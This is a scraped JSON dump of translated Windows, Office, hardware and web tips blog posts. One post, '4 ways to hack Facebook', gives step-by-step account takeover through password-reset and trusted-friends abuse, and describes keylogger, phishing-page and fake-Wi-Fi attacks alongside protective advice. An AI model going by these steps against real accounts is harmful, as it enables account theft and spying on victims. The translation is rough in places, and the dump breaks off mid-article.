ncG1vNJzZmismaXArq3KnmWcp51ktq95wGaunp2bYsGpsYynrKaalad6sLKMqZyoqJyaeqW71qejqJmUnruoecKooKeakaiybsPArGStr5mYsm6t0makrpuYYq60ecinqq2Zl6eurg%3D%3D\n","link":"/post/in-a-week-the-number-of-people-downloading-coinbase-was-twice-as-much-as-instagram/","section":"post","tags":null,"title":"In a week, the number of people downloading Coinbase was twice as much as Instagram"},{"body":"If you share a computer for everyone in your family or friends, but don't want people to interfere with important settings, you may want to disable the Control Panel feature on your computer.\nIn the article below, Network Administrator will show you how to disable Control Panel on Windows 7.\n1. Disable Control Panel with Group Policy To disable Control Panel on Windows 7 using Group Policy, first on the Start Menu, type gpedit.msc into the Search box and press Enter.\n  When the Local Group Policy Editor window opens, navigate to the following: User Configuration Administrative Templates and then select the Cotrol Panel in the left pane.\nNext in the right pane, double-click the Prohibit option to access the Control Panel .\n  On the next window, select Enable , then click OK to close the Local Group Policy Editor window.\n  After Control Panel is disabled, on the Start Menu you will no longer see the Control Panel on the Start Menu.\n  If you find the Control Panel on the Search frame you will get a message like the one below:\n  2. Disable Control Panel with Registry Tweak You can disable Control Panel with Registry Tweak. However, this only works on Windows7, Vista and Windows XP versions.\nFirst on the Start Menu, type the keyword regedit into the Search box and press Enter.\n  In the Registry Editor window, navigate to HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrent VersionPoliciesExplorer.\nFrom Explorer, right-click any space in the right pane, select New\u0026gt; DWORD (32-bit) Value to create a new key.\n  Name this key NoControlPanel.\nThen right-click this new key and select Modify .\n  \nIn the Value data frame, change the value to 1 and then click OK. Close the Registry Editor window then restart your computer to complete the process.\n  After your computer has finished booting, you will now see the Control Panel no longer appear on the Start Menu.\n    If you find the Control Panel on the Search frame you will get a message like the one below:\n  If you want to re-enable Control Panel, go back to the Registry, change the value in NoControlPanel to 0 and then restart your computer.\n  You can refer to some of the following articles:  Instructions to divide and merge drives right in Windows 7   4 Ways to Reset Windows to its original state   Get all 4GB of RAM on Windows 7 32-bit  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZJ2ho5avrbGMnKanrKKkuW68wKecpWWfo3q4tc2dprCrXWw%3D\n","link":"/post/instructions-to-disable-control-panel-on-windows-7/","section":"post","tags":null,"title":"Instructions to disable Control Panel on Windows 7"},{"body":"Using a laptop for a long time, suddenly one day the laptop charger has broken the cord that makes the laptop charging without power? Most of them fall into this case, we are wondering whether to re-solder the charger cord to use it or buy a new laptop charger. In fact, this is a \"brainstorming\" problem because if you buy genuine goods, it is okay, in contrast, counterfeit goods are very harmful to the computer, but if it is fixed, it is not necessarily safe in the process. use. So how to solve this problem? The article of Network Administrator hopes to help readers make the right decision.\nShould I plug in the laptop charger continuously? Is the laptop charger hot? Is the laptop charger plugged in when the battery is full? Choose to fix broken laptop charger or buy a new one? Not only is the new laptop hardware the most frequently damaged part, the laptop charger is also easy to fail due to both objective and subjective reasons. Usually it comes from being subjected to strong impacts during use.\nCharging the laptop is easy to break at points close to the charger, the point of connection to the power plug and the point of connection to the charging pins.\nFor simple break points, all of the key components of this charger are working normally, you can reconnect and use normally. Saving a sum of money and still being able to use the \"genuine\" charger. Can refer to Experience handling laptop chargers with broken wires that previously Network Administrator has shared.\n  However, if the case of your laptop charger is severely damaged, then fixing the laptop charger, welding the charger cord is only a temporary, non-long-term plan and potentially dangerous for your device. as easy to cause a fire, electrical explosion, power flicker, . directly affect your computer, especially the mainboard components.\nTherefore, if conditions permit, you should buy a new laptop charger to use for safety, absolutely should not use laptop charger other types. Only in some reluctant schools like the old laptop line no longer produces adapter charging, it is imperative that we fix it to use it again.\nA few notes when buying a new laptop charger When deciding to buy a new laptop charger, you need to keep in mind the parameters on the laptop charger to avoid buying it without quality assurance, counterfeit goods.\n  Select the appropriate type of charger (head, head, needle tip, .). In case the adapter is not found for your device because the device is old, there are no replacement parts we can choose according to the note below. Learn carefully about laptop charging, most of the parameters and safety features are clearly noted on the charger, so choose the type with anti-jamming function and disconnect the charger when the battery is full. Input (In put): Choose parameters suitable for regional grid, normally in Vietnam is 220V - 1.2 - 2A (laptop chargers with voltage from 110V - 240V will of course be a better choice, because they will be suitable for most electrical systems in other countries). Output (Out put): Selecting the output parameter is quite important, it will decide to your device such as: Charge performance, computer performance when plugging in the charger. Please select the parameters that are suitable for your device, usually we choose the same output as the old laptop charger if your model is old and the place has no replacement parts according to this model. It is best to bring a broken charger when buying a new charger to describe and compare it more easily. Also, finding an address to buy at a reasonable price and quality is your top priority. You should choose to buy a laptop charger at genuine warranty centers to be provided with genuine components and quality assurance.\nSee more:\nComputer cooling solutions on summer day Instructions for cleaning laptop screens are extremely simple at home Is the fan fan screaming loudly and unusually hot? How to fix ncG1vNJzZmismaXArq3KnmWcp51ktrR506GcZqSRpcGwvIybqaijlaN6tLTOrqOdZZmpeqOxjKucqZmZp7Klec6rZKmtopi1or%2FEnQ%3D%3D\n","link":"/post/is-the-laptop-broken-should-it-be-repaired-or-purchased/","section":"post","tags":null,"title":"Is the laptop broken, should it be repaired or purchased?"},{"body":"Today, Mozilla announced it would not offer any support for the Firefox browser on Windows XP and Vista in June 2018.\n'As one of the browsers that still supports Windows XP and Vista, Firefox users on these operating systems still receive security updates until that date,' Mozilla said.\nEarlier this year, Mozilla moved Firefox users on XP and Vista to Firefox 52 ESR (Extended Support Release). This was announced in December 2016, when Mozilla said it would give a final answer on whether to support XP and Vista again in September 2017.\n  Both major browsers have stopped supporting Windows XP and Vista\nMozilla followed Google, which ceased support on XP and Vista from Chrome 50 released in April 2016, along with other platforms such as Snow Leopard OS X 10.6, OS X 10.7 Lion and OS X 10.8. Anyone who needs to use an XP or Vista machine can still use an old browser, but it is recommended to upgrade to Windows 8.1 or later.\nncG1vNJzZmismaXArq3KnmWcp51kurDGyKWjmmWjqbyxvMSdZKytoKW8s8DIp55mnpmnsqe712adqKpdrLavsM6wqmawoGKur7CMr6CsrJFitq95ya6lnmViZX55\n","link":"/post/mozilla-stopped-supporting-firefox-for-windows-xp-and-vista-in-june-2018/","section":"post","tags":null,"title":"Mozilla stopped supporting Firefox for Windows XP and Vista in June 2018"},{"body":"HD Video Converter Factory Pro is a professional video conversion software with many powerful features, supporting users to convert HD videos to many other popular formats and mobile devices at a fast speed. Usually this software costs $ 49.95 and is currently free for a short time. If you want to use, please quickly get the free license for this application.\nOutstanding features of HD Video Converter Factory Pro\nSupport converting many MP4, FLV, AVI, etc video formats with 4K, 1080 (Full HD), 720 (HD) quality. Built-in 5X compression technology frees up storage space on the device without affecting video quality. Convert videos at high speed, can increase conversion speed faster than 50X, save real time. Built-in audio converter for perfect sound quality. In addition to the video conversion feature, HD Video Converter Factory Pro also supports video editing with many features such as cut, merge video, insert unique effects, insert copyright logo .\n  How to own free HD Video Converter Factory Pro license\nStep 1: Download and install HD Video Converter Factory Pro according to the link below:\nFree HD Video Converter Factory Pro\nStep 2: Go to the link below -\u0026gt; click Get It Free to download the Zip file containing the license key.\nhttps://www.videoconverterfactory.com/giveaway/hdpro-4.25.html?chm   \nInstructions for installing and registering HD Video Converter Factory Pro license\nReview WonderFox's HD Video Converter Factory Pro video conversion software Note: Time to receive the free HD Video Converter Factory Pro license key ends on April 25, 2018.\nSee more:\n8 free audio editing software How to convert video to mp3 using Free Video To MP3 WMA Converter Use VLC Media Player to convert MKV video format to MP4 ncG1vNJzZmismaXArq3KnmWcp51kvKeyxKugp59dm7%2BmsYyloJydnqiybrLOq2ShnF2rtqWxzmaaqKammr%2B1sdFmnZqbpKS%2FunnPq6ZmrpmZsrB5wqilr52iqLawuoyspp%2Bsp5a%2FpnnCqKqtq12qwKV5k3Jwbg%3D%3D\n","link":"/post/offering-free-license-for-hd-video-converter-factory-pro-video-conversion-software-costs-usd-49-95/","section":"post","tags":null,"title":"Offering free license for HD Video Converter Factory Pro, video conversion software costs USD 49.95"},{"body":"Although security security is always a problem for Facebook, the number of Facebook users is increasing, reaching more than 1.94 billion monthly users by March 2017 and about 1.28 billion daily users. .\nWe share birthday parties, vacations, every moment in life on Facebook. But sometimes we forget who is watching all of our activities on Facebook. People use Facebook as a tool to connect, but there are people who use this connection for bad purposes. They know when users are not online, steal identity with information displayed on public Facebook profiles.\nInstructions to log out of Facebook remotely when hacked account   In fact, you don't even need to be a professional hacker to access someone's Facebook account. Hacking Facebook can be as easy as running Firesheep on your computer in minutes. In fact, Facebook really allows people to enter someone else's account without knowing the password. All you need to do is select three friends to send the code, then enter the code and access your Facebook account. This article will show you how to hack Facebook and how to prevent it to protect your Facebook account.\nHow to retrieve a hacked Facebook account Ways to hack and prevent Facebook hacking Method 1: Reset your Facebook password Method 2: Use the Keylogger keystroke monitor Method 3: Build a phishing system (Phishing) Method 4: Attack Man in the Middle Attack Some measures to protect other Facebook accounts Method 1: Reset your Facebook password The easiest way to hack someone's Facebook is to reset the password for the Facebook account. Follow the steps below:\nStep 1: First need to login to the victim's Facebook email account. If you don't know, try searching on their Facebook page in the Contact Info section or using a tool like TheHarvester to get an email address.\nHow to turn off and block spam from Facebook send to registered email Step 2: Next, click Forgotten your password? and enter the victim's email, then click This is my account .\nStep 3: A message appears asking whether you want to reset the password via the victim's email, ignoring the click No longer have access to these?\nStep 4: Then, a message asking How can we reach you? appears, enter the email you have and do not link to any other Facebook accounts.\nStep 5: Now, you will have to answer a question, if it's the victim's best friend, it's great, otherwise guess. If you answer correctly, you can change your password and wait 24 hours to log in to their account.\nStep 6: If you do not answer the question correctly, you can click Recover your account with help from friends , then select three to five friends.\n  Step 7: The system will send the password to your friend, ask them and then type in the next page. You can create three to five fake Facebook accounts and add your friends, or you can choose from three to five of your close friends.\n  How to protect your Facebook account\nUse a specific email address for Facebook and do not display that email in the profile. Choosing security questions and answers is difficult so no one can find an easy answer to access your Facebook account. Learn about how to recover your account from friends. You can choose three friends to send your password. This way can protect yourself from friends and people with friends in your Facebook account. See also: How to get back Facebook hacked and lose registration email\nMethod 2: Use the Keylogger keystroke monitor Use Keylogger software\nKeylogger software is a program that records each operation on the keyboard that the user creates regularly. You need to download this software manually on the victim's computer. It automatically captures keyboard operations as soon as the computer is turned on and not detected in the background. Software is programmed to send you a summary of all key combinations via email.\nHow to create Keylogger with Notepad   Use hardware Keylogger\nThis work is similar to keylogger software, except users need a USB with software that can connect to the victim's computer. USB will save a summary of key presses and extract data.\nThere are several options for hardware keyloggers such as wired Keylama keyloggers that can be attached to the victim's computer to store keyboard operations and work on any operating system, provided you have access to victim's computer. If you want to retrieve the password remotely, you can invest in a Wi-Fi keylogger that can email the recorded keys or be accessed remotely via Wifi.\nHow to find out if your computer has Keylogger?   How to protect your Facebook account\nUsing a firewall, the Keylogger sends information over the Internet, so the firewall monitors the computer's online activity and detects if there is a problem. Install password manager. Keylogger cannot steal if you do not type, the password manager will automatically fill in important forms without typing any content. Update software to fix security holes. Change your Facebook password, if you don't feel safe, you can change your password twice a week. See also: Instructions for finding and deleting the original Keylogger from your computer\nMethod 3: Build a phishing system (Phishing) This way is harder to implement than the rest of the lesson, this is the most common method to hack Facebook accounts. The most common type of phishing system is to create a fake login page. This page can be emailed to the victim and will look like the Facebook login page. If the victim is logged in, the information will be sent to you instead of Facebook. This process is a bit difficult because you will need to create a web hosting account and a fake login page.\n  The easiest way to do this is to copy the site to create an exact copy of the Facebook login page. Then, just tweak the submission form to copy, store or email the login information that the victim entered. Users must be careful about logging into Facebook through other links and email fraud filters are becoming more and more sophisticated.\nHow to protect your Facebook account\nDo not click on the link via email. If you receive an email notification of logging into Facebook via a link, check. If in doubt, go directly to the main website and log in as usual. This scam is not only done via email, it can be any link on websites, chat rooms, text messages, etc. Do not click on any search link that requires information. yours. Use antivirus software like Norton or McAfee. Method 4: Attack Man in the Middle Attack If you're a close friend of a victim, you can trick them into connecting to a fake Wi-Fi network to steal information by attacking Man In The Middle (MITM). Tools like Wi-Fi Pumpkin create fake Wi-Fi networks as easily as attaching a 16-dollar wireless network adapter on the $ 50 Raspberry Pi. When a victim connects to a fake network, you can check traffic or routers to fake login pages.\nSummary of popular network attacks today How to protect your Facebook account\nDo not connect to an open Wifi network (no password required). Do not connect to any Wifi network far from your location. Why can you see a \"Google Starbucks\" when Starbucks is far from here? Because hackers know that your phone or computer will automatically connect if you used a network with the same name before. If you have trouble connecting to Wifi, see the network list to see if there is a copy of the network name nearby. If the router requires entering the firmware update password to activate the Internet or display a page with spelling or grammar errors, you may be connecting to a fake access point and someone nearby is trying to steal Your login information. Some measures to protect other Facebook accounts On Facebook, go to Account Settings and check in the Security section. Be sure to enable Secure Browsing. Firesheep cannot find cookies on encrypted connections like HTTPS, so do not use HTTP. See more: Instructions for securing 2 classes of Facebook by phone number\nFull time SSL, using Firefox add-ons like HTTPS-Everywhere or Force-TLS. Sign out of Facebook when not in use. Firesheep cannot log in to the account if it has logged out. Only use reliable Wifi network. A hacker can sit opposite you at Starbucks and see your email without your knowledge. Use VPN. These features protect against any external intrusion from the same Wi-Fi network, regardless of the web site because all network traffic will be encrypted to the VPN provider. You can refer to article 11 of the best VPN software and choose the right software for you. See more: What are the differences between Proxy and VPN?\nSocial networking sites are great ways to connect with old friends and meet new people. However, Facebook users should intelligently select information on Facebook profiles, the less information it will be difficult for hackers.\nSee more: How to secure your Facebook account to not be hacked?\nncG1vNJzZmismaXArq3KnmWcp51kgW7DwLKqZqyfYrWir8pmnZqblZe8sLeMsqauZaOdvLa4w2aip6enYsGwec%2Brpq2dk6l6urvUq2SfmZOar7C7ymaYnJufqru1\n","link":"/post/4-ways-to-hack-facebook-you-should-know-to-protect-your-facebook-account/","section":"post","tags":null,"title":"4 ways to hack Facebook you should know to protect your Facebook account"},{"body":" You want your website to look great, but lack web development skills? Do not despair! You don't need to know CSS or PHP to build a favorite website. This article will give you 7 free HTML effect templates. They will enhance the functionality and user experience for your site. And they can contain some CSS and PHP too. Perhaps one of these effects is what you're looking for.\nHTML effects 1. Parallax effect 2. Scrollable text box 3. Highlight text 4. Add wallpaper to text 5. Add a caption to the title 6. Scroll text or create a text effect that moves up and down 7. Add conversion menu Tableizer 1. Parallax effect You may have seen the Parallax effect in online newspapers. When you scroll down to an article, the wallpaper will move slower than the previous content. When you enter another part of the article, the wallpaper will change. It is a great effect to deepen the image for content.\nInstructions for creating a website for beginners Since this is not a pure HTML effect, the article can only provide animated GIFs to illustrate.\nBelow you will see a basic version of Parallax, a scrolling text box on a static wallpaper when you scroll.\n  You can create this effect by copying the above code from W3Schools.\nThe most complex version of this effect is a combination of HTML, CSS and JS.\n  You can download the effect from CodePen.\n2. Scrollable text box This is a simple HTML element but its usefulness allows you to encapsulate long paragraphs of text into a compact format. This way it does not occupy the entire space on the page.\nInput HTML:\nThe content you want to add here\nIf you want something interesting, you can also get the code for a customizable comment box from Quackit.com. They provide some templates, but you can also use their editors to change and run your own code.\n  3. Highlight text With simple HTML tags, you can add tons of effects to text or images. Note that not all of them work on browsers. The HTML tags mentioned here work in Google Chrome, Microsoft Edge and Mozilla Firefox.\nInput HTML:\nVăn bản bạn muốn đánh dấu ở đây\n4. Add wallpaper to text Similarly, you can change the color of the text or add a wallpaper. This is only really interesting if your text is large enough, which is why you should also increase the font size.\nInput:\nText you need to add wallpaper here\n5. Add a caption to the title A title legend appears when you hover your mouse over a text or image. You know this from images or text links. This is how you can add it to plain text.\nInput:\nNội dung bạn muốn giải thích ở đây\n6. Scroll text or create a text effect that moves up and down When searching for \"marquee html\" on Google, you will see a text that informs you of the time of the search results. It is an effect created by the marquee tag. Although this HTML feature has been deprecated, most browsers still support it.\nInput:\nText content you want to scroll here\nYou can add other properties to control scrolling, background color, direction, height and more. These effects can become quite annoying if you abuse it.\n  For a falling text effect, go to Quackit again and copy the highly customizable marquee code.\n7. Add conversion menu The most interesting HTML effects are dynamic HTML effects. However, they are often based on scripts. It is a bit more complicated than normal HTML tags because it works with a style table and scripts. The advantage is that you don't have to download a CSS file or script to make it work, you can put all the necessary information into the part of the website.\nInput:\nAdd the following code to the section of the page:\nAnd this code wherever you want the menu to appear.\n\n – Browsers/Addons  – Web Apps  – How-To Tips  – Cool Software  …and more! \nStaff Writers\n\n – Karl Gechlik  – Tina  – Varun Kashyap  …and more! \nMiscellaneous\n\n – About  – Contact  – Archives  – Disclaimer  \nUnfortunately, the article does not show this effect here, but it will be similar to the image below:\nIf you want to display the spreadsheet on your website, let Tableizer.journalistopia.com convert your data into an HTML table. Just paste raw data from Excel, Google Doc or any other spreadsheet into the corresponding field, tweak the table options and click Tableize It! to receive HTML output.\nNow you can copy the HTML code and add it to your website. Consider editing the background color to make it look better. Although this is not really an HTML effect, it is quite handy.\nThe article has brought in seven HTML effects that you can use to refurbish your site. Some basic, some are a bit complicated, but generally can be done.\nncG1vNJzZmismaXArq3KnmWcp51khG6z0Z6YrWWYqbqtecSfnZ6bpKh6orrYqKWeZZOWu26tw51kraddqbWmtdFmrp6ao57Bpg%3D%3D\n","link":"/post/7-great-html-effects-anyone-can-add-to-their-website/","section":"post","tags":null,"title":"7 great HTML effects anyone can add to their website"},{"body":"Introduce Word, PowerPoint and Excel, what can you do with them? This depends on where and how you get them. There are different application and service packages, even different features in Office 2016, Office 365 and Office Online.\nIn this article, we will take a closer look at the 'nuances' of these different versions of Office and give the main differences in these services. So if you are confused about how Microsoft identifies these products, read this article.\nOffice 2016 Office 2016 is a new version of Office for desktops (Windows and MacOS); The first time these two platforms are synchronized. You can buy Office 2016 at a one-time price to get a license that can use as long as you like for Windows or Mac, but when there's a next version of Office, you'll have to pay again to own them and You will not receive new features of other Office applications before the next version by updating security.\n  Office 2016 for Mac including Word, Excel, PowerPoint and OneNote. If you want to use Outlook you will have to sign up for Office 365 (also provide you with Windows version of Publisher and Access 2016).\nOn Windows, you can choose between Office Home and Student versions 2016 , including Word, Excel, PowerPoint and OneNote or Office Home and Business 2016 , with Outlook added. This is what you need if you want to legally use Office for work.\nIf you want to use additional business features in Outlook and Excel, like importing data from a wider range of databases, you'll need to buy Office Professional 2016 , including Word, Excel, PowerPoint, OneNote , Outlook, Publisher and Access.\nVisio and Project are part of Office 'family' and have Office 2016 versions of both applications but you have to buy them separately. If you have Office 2013, you cannot continue using them because these two applications do not work when you install Office 2016, but you can contact Microsoft for a free upgrade. In addition, users can also receive a free upgrade version for Outlook, Publisher or Access 2013 if they use their standalone version and you have purchased the Office 2016 version but did not upgrade these applications for you. .\nSee more:\nInstructions for installing and using Office 2016 How to install Word and Excel in Office 2016 only Office 365 Office 365 started as Microsoft's online service for businesses, to email, chat and share files on the cloud, including licenses for Office software, but now it includes all Microsoft Office package service for individual users as well as businesses.\n  You can pay monthly or yearly to receive new features when they release and have the next version of Office. If you use the mobile version of Office on a device with a 10.1-inch screen (like a Windows 10 desktop or iPad Pro), you can edit the document and view them. In addition, you can receive cloud storage and other services, but if you stop paying for service packages, you will no longer be able to use Office.\nOffice 365 is the ideal service pack when there are multiple machines at work and at home, or want to switch between Mac and Windows because even individual packet services can be used on multiple machines.\nOffice 365 Personal and Office 365 Home versions offer users the same package: Word, Excel, PowerPoint, OneNote and Outlook for both Windows and Mac versions, plus Publisher and Access for Windows, along with 1TB of storage. OneDrive and 60 minutes monthly Skype call. The difference between these two versions is that with Office 365 Personal you can install the software on a PC or Mac and on a tablet and phone, but Office 365 Home allows users to install the software. 5 Mac or PC computers and over 5 tablets and phones, you can use it alone or share with family and friends (each get 1TB of cloud storage and Skype call minutes) .\nSee also: How to sign up for Office 365 and 21TB OneDrive for free from Microsoft\nThere are two types of Office 365 for business packages that can use up to 300 people and can be subscribed monthly.Office 365 Business and Office 365 Business Premium all include Office 2016, Windows or Mac versions that have Word, Excel, PowerPoint, OneNote, Outlook and Publisher applications and each can install the maximum Office application on 5 computers. PC or Mac calculator and on 5 phones, tablets and get 1TB of OneDrive for Business storage. The difference between Office 365 Business and Office 365 Business Premium is the Business Premium version that adds Exchange, SharePoint and Skype for Business Online applications.\nLarge businesses often use Office 365 for business because it is more secure and has an annual information and payment management tool. Again, the difference between Office 365 ProPlus and Enterprise E3 is in cloud storage, but both include Office 2016. Windows or Mac versions include Word, Excel, PowerPoint, OneNote, Outlook, Publisher and Access, maximum settings for 5 PCs or Macs and Office applications for 5 phones and tablets for each user. Office 365 ProPlus has 1TB of OneDrive for Business storage capacity for each user; Enterprise E3 has it all, plus Exchange, SharePoint and Skype for Business Online.\nThere are also Office 365 for business package services that only include Exchange, SharePoint, and Skype for Business Online services, without Office 2016. This package is for Office licensed companies or its users. The alternative Office Online web application, called Office 365 Business Essentials , for up to 300 users and Enterprise E1 for larger companies.\nOffice Online Free web versions of Word, Excel, PowerPoint and OneNote don't have all the features like the Office 2016 application and you can't open some complicated documents but they have all the tools for using Daily data such as creating and editing. PowerPoint Online recently added a drawing tool.\n  Typically, new tools often show up in Office Online first, like the Tell Me search function that helps you find usable features for a specific task and is now available in Office 2016. Session Sway's web version is very similar to Windows and iOS versions. Office Online applications also automatically save documents so you won't lose what you entered when you lost your Internet connection.\nAnyone with a Microsoft account can use Office Online and documents will be saved in OneDrive (you can sync them with your computer or download them separately). Office 365 business users also have access to Office Online applications, but their documents are saved in OneDrive for Business.\nBusinesses running their own Office servers, such as Exchange and SharePoint, can use Office Online Server to run their own version of Office Online (before Office 2016 called Office Web Apps Server).\nOutlook Web Access (which is often confused when referring to Outlook, because it has the same features and interfaces as Outlook) is not part of Office Online because it is actually part of Exchange, so you have You can use it by running your own Exchange server or by using Exchange Online in Office 365 packages including email.\nWhen you click on the Mail, Calendar and People link in Office Online, you will access Outlook Web Access if you sign in with your Office 365 account or go to Outlook.com if you sign in with your Microsoft account.\nSee more:\nCompare Google Apps, Office 365 and Zoho Docs How to register to download Office 365 for free for students / teachers 7 good choices replace Microsoft Office ncG1vNJzZmismaXArq3KnmWcp51ksLC5z5qpnmWdnrCzu9Kona1ln5uzqq%2FEZmlpaWZivKeyyJycZmtmanqiusNmpp%2BemZiybrvNpaCnnQ%3D%3D\n","link":"/post/compare-microsoft-office-2016-office-365-and-office-online/","section":"post","tags":null,"title":"Compare Microsoft Office 2016, Office 365 and Office Online"},{"body":"Network administration - Adding some context menu functions (right-click menu) is a useful method to simplify tasks and save time.We can add some items such as Command Prompt, Copy the contents to clipboard (Copy data to the clipboard), CopyTo, MoveTo to the context menu of Windows 7. Obviously these additional components will save save a lot of time when performing simple tasks on the computer. In this article they will add the above items to the context menu. Before doing so, we need to back up the Registry to prevent the worst possible situation because every method will be done by configuring the Registry. Additional Open Command Prompt in This Folder option When working in Command Prompt, we will have to spend a certain amount of time to open a folder in the Command Prompt with the cd command [directory path]. If the file needs to be deep in the hard drive, repeating these tasks will be quite troublesome. Therefore Windows 7 allows users to add an item to the right-click menu so that they can open the Command Prompt directly in this folder with just two clicks. Do as follows: Go to Start menu | Run , enter regedit and press Enter to open the Registry Editor . Visit HKEY_CLASSES_ROOTDirectoryshell . In the shell , create a new key named Command Prompt .  Figure 1: Create a new key in the shell.\nIn the right panel, change the value of Default by right-clicking it and selecting Modify and then entering Command Prompt here in the Value Data field. In the Command Prompt key, create another new key named command . Select the newly created key and change Default , in the Value data field enter the following code: cmd.exe / k cd% 1  Figure 2: Edit the Default of the key command.\nNext close the Registry Editor and right-click any folder we will see the Command Prompt here option .  Figure 3: The Command Prompt here option appears in the context menu of the folder.\nAfter selecting this option, the Command Prompt will appear with a link pointing to that directory.  Figure 4: Command Prompt pointing to the folder that opens. Add the option to 'Copy the content to clipboard' Let's say we want to copy the entire text of a Notepad document and paste it into a Word document. Normally we will have to open the Notepad document, select the text and then copy. However, all these operations will be simplified by right-clicking on the Notepad document and selecting the Copy to clip option . First, access HKEY_CLASSES_ROOTtxtfileshell in Registry Editor . Create a new key in the shell and name it Copy to clipboard . In the right pane, right-click on Default choose Modify . In the Value data field, enter Copy the contents to clipboard . In Copy to clipboard , create a new key and name it command . Right click on Default choose Modify and then enter the following code in the Value Data field:\ncmd / c clip   Figure 5: Create key command in Copy to clipboard. When you right click on any file and select Copy the content to clipboard in the context menu, the contents of this file will be copied to the Clipboard. And we can Paste into any text file.\n Figure 6: Option Copy the contents to clipboard. \n Add \"CopyTo\" option Access HKEY_CLASSES_ROOTAllFilesystemObjectsshellexContextMenuHandlers in Registry Editor . Right-click on the ContextMenuHandlers select New | Key\n Figure 7: Create a new key in the ContextMenuHandlers.\nName this key CopyTo . Double-click on Default in the right panel, enter the following code in the Value data field: {C2FBB630-2971-11D1-A18C-00C04FD75D13}  Figure 8: Change the value of the CopyTo key. Then the CopyTo entry will be added to the context menu. Now, whenever you right-click any file or folder and select CopyTo , the dialog box shown in Figure 9 will appear.\n Figure 9: Copy Items dialog box. In this dialog box we can choose the location where we want to copy the next file or directory.Add SendTo option To add the MoveTo entry to the context menu, do the following: Access HKEY_CLASSES_ROOTAllFilesystemObjectsshellexContextMenuHandlers in Registry Editor . Create a new key with the name MoveTo . In the Value data field of Default in the right table, enter the following code: {C2FBB631-2971-11D1-A18C-00C04FD75D13} When you close the Registry Editor and right-click the file or folder, you will see the MoveTo entry appear in the context menu.  Figure 10: The Copy to Folder and Move to Folder options appear in the context menu.\nIn addition to Windows 7, we can perform these little tricks on Windows Vista and Windows XP.\nncG1vNJzZmismaXArq3KnmWcp51ksLa%2F06ikorKVYsGpsYycpqesla3BbrnEp6xmp5ZixKq6w6iurGVn\n","link":"/post/customize-the-context-menu-of-windows-7/","section":"post","tags":null,"title":"Customize the context menu of Windows 7"},{"body":"In the process of experiencing your Samsung phone, you may have to face some defect, at which point what you think is to give the device warranty to save costs. To check the warranty period of the machine you can find the phone box or information on the purchase invoice if you still have it. However, if you miss those things, don't worry too much, because now to save time and effort for users, electronic warranty is a new way to help you determine the security time. Onion of the product quickly.\nGalaxy S9 and S9 +: Things to know about this latest flagship of Samsung The specs show that the Samsung Galaxy S9 and S9 Plus duo are lower than the older iPhones Create unique Emoji shapes on Samsung Galaxy S9 The following article will be 4 ways to check warranty on samsung if you are interested in this issue, please refer to the following article of Network Administrator:\nWays to check Samsung phone warranty period 1. Check Samsung warranty via message 2. Check warranty Samsung via mySamsung 3. Call for advice 4. Check through Galaxy Gift application 1. Check Samsung warranty via message Check the warranty period via SMS on the phone, this is a quick and time-saving way to help you get accurate information about the warranty period of the phone. To check, you need to know the Samsung phone's IMEI by pressing * # 06 #\u0026gt; Call:\n     \nAfter the operation is completed, the iMei code will appear above, the above will be iMei 1 and iMei 2 codes and a number of SN numbers. Now open your text editor, enter your IMEI number and send a message to switchboard 6060 for 500 VND. This is the switchboard to check the official warranty of Samsung. You will receive a message detailing the warranty activation date as well as the machine's warranty period.\n2. Check warranty Samsung via mySamsung Step 1:\n  \nIn addition to the above, you can also easily check the warranty period of the device via the My Samsung application. If your phone has not been installed, you can go to the link below.\nStep 2:\n  \nAfter the download is complete, start up mySamsung application, at which point the system will ask you for permission to access the device system. You just need to press 'Allow' with access to contacts and phone location.\nNote : Authorization to grant access to equipment systems is a mandatory condition for you to use mySamsung for Android as well as to check Samsung warranty online.\nStep 3:\n  After you have finished granting use rights, you will see a table introducing the features on this application, swiping the screen to the left to continue. Click Continue on the next screen and enter your details for the device and press Resume if you have a Samsung account.\nStep 4:\n  \nAfter agreeing to the terms required by the application, click 'Continue', and click on the 'Learn more' section in the next interface.\nStep 5:\n  \nAt this time, information about your phone will be displayed with the device name and serial number. Click the 'Device information' tab and you will see the warranty period displayed on the phone screen.\n3. Call for advice If you want to know more about warranty information and your phone error is not guaranteed, replacement parts how much . can contact directly with Samsung Vietnam warranty center via phone number :\n1800-588-889 (08) -38 213213 4. Check through Galaxy Gift application Step 1:\n  \nWith the above way you have got the iMei code of the phone. After getting the IMEI number, go to the Galaxy Gift application on your Samsung phone. This is usually a pre-installed application.\nStep 2:\n  \nAt the interface of the Galaxy Gift application, select Service =\u0026gt; PBX support 24/7 =\u0026gt; Enter the number of iMei you have in the box =\u0026gt; Check . Immediately, the machine's warranty information will be displayed.\nWith 4 ways to check Samsung warranty above, hope you can succeed. You can apply for all Samsung models\nSee more:\nHow to turn off the notification LED on Samsung Galaxy Note 8 Important notes when warranting iPhone in Vietnam How to avoid \"warranty stamp trapping\" laptop? ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsedKapKytnpx6sbTOp5xmr5Gnv6K607JkqZ2inryl\n","link":"/post/how-to-check-samsung-phone-warranty-period/","section":"post","tags":null,"title":"How to check Samsung phone warranty period"},{"body":"Imagine, your friend has just visited. The scene is beautiful, and of course you don't forget to save those memories with your digital camera. More than 100 photos were copied to the computer. \" God, among those 100, there are lots of photos you want to put them into 1 to create a wider space for your photos. How to do this? \".\nIn fact, there are many ways to mix 2 images together, each of which you will have to use different methods. In this exercise, I only offer the simplest, but equally effective method, to help you complete the photo-collage.\nHere are the detailed steps to combine photos from 2 different images and the corrections to the post-merged image look the most natural. This article is done on Photoshop CS.\nIf you want to delete the background, delete the object in the image you can see these two articles:\nRemove automatic background images with Photoshop Action Delete any object from the image Example 1: Collage of students riding bicycles into Hue ancient capital Step 1 : Start Photoshop CS, open 2 photos that you intend to merge them into one.\nHere I give the following two pictures: hue.jpg , hocsinh.jpg\n  Figure 1\n  Figure 2\nNote: you must choose 2 images with the corresponding color gamut. If one of the two images is different in the color gamut, you will have to proceed with the color correction so that the two images fit together, otherwise the image will be revealed.\nStep 2 : Ctrl + N to create a new document. But before doing this step, you should check the size of the two original images to set the size for the new document.\nIn this exercise, I put a new document in size: 600 x 240 pixels, Background: #ffffff (white)\nStep 3 : Use the Crop or Marquee tools to cut the most appropriate edges of the 2 images as you like.\n  Figure 3\nStep 4 : Copy the hue.jpg images, hocsinh.jpg to the new document one after another.\n  Figure 4\nName the layers: Hue, Hoc.\n  Figure 